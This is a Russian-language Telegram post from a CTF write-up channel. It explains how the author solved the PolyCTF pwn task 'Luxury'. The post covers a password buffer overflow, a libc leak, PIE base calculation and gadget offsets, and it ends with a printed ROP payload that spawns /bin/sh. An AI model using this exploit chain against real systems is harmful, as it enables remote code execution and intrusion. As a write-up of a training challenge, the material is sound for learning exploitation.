Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
exploit.py
1.1 KB
#pwn
PolyCTF. Write-up "Luxury" от @wcovkej

Итак, первым делом проверим наш файл через checksec:

RELRO           STACK CANARY      NX            PIE            RPATH      RUNPATH      Symbols         FORTIFY

Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   49 Symbols        No

Канарейки нет, уже хорошо, но зато включен PIE, значит адреса функций каждый раз разные. Запомним.

Теперь кратко разберем, как работает программа:

1) Просит ввести пароль и логин. В данном случае логин - admin, пароль - V3rY_sTroNg_p1ss

2) Как только мы залогинились, у нас доступен основной функционал: вывод адресов функций, в том числе и функции login.

Если мы хорошо посмотрим, то в функции login есть переполнение буфера, а именно на вводе пароля. Массив под пароль 32 байта, а вводим мы 112. Также через ropper узнаем, что в таске есть аж целых 5 гаджетов! pop (rdi, rsi, rdx, rax), а также syscall. Интересно, но что дальше?

Наша цель - вызвать /bin/sh. Для этого нам нужно построить ROP цепочку: загрузить в rax число 0x3b (execve), в rdi адрес строки /bin/sh, rsi и rdx занулить, вызвать syscall ===> получаем шелл! Но не всё так просто :)

Во-первых, мы не знаем точных адресов гаджетов (включен PIE), во-вторых, в коде нет строки /bin/sh, поэтому нам нужно взять ее из libc, а для этого нужно ее ликнуть.

Эксплоит я отправлю отдельно файлом, здесь я вкратце распишу его алгоритм:

1) Логинимся, далее получаем адрес printf, puts, fgets и идем в libc.blukat.me, вбиваем все три функции, указываем последние три символа адресов и находим версию LIBC. Таким образом мы определили точную версию либы и теперь знаем все смещения. Прибавляем к адресу printf число 0x143a81 и получаем адрес строки /bin/sh.

2) Далее нам нужно узнать адреса гаджетов. Для этого получаем адрес функции login и вычитаем его оффсет, который взяли из IDA. Вычитаем 0x1179 и получаем адрес базы программы. Теперь вычисляем адреса для всех 5 гаджетов:

pop_rdi = base_addr + 0x1460
pop_rax = base_addr + 0x1464
pop_rsi = base_addr + 0x1462
pop_rdx = base_addr + 0x1468
syscall = base_addr + 0x1466

3) Всё готово! Теперь составляем пейлоад и отправляем серваку:

pl = b'A' * 40
pl += p64(pop_rax)
pl += p64(0x3b)
pl += p64(pop_rdi)
pl += p64(binsh_addr)
pl += p64(pop_rdx)
pl += p64(0)
pl += p64(pop_rsi)
pl += p64(0)
pl += p64(syscall)

Получаем шелл и читаем флаг. Nice!
10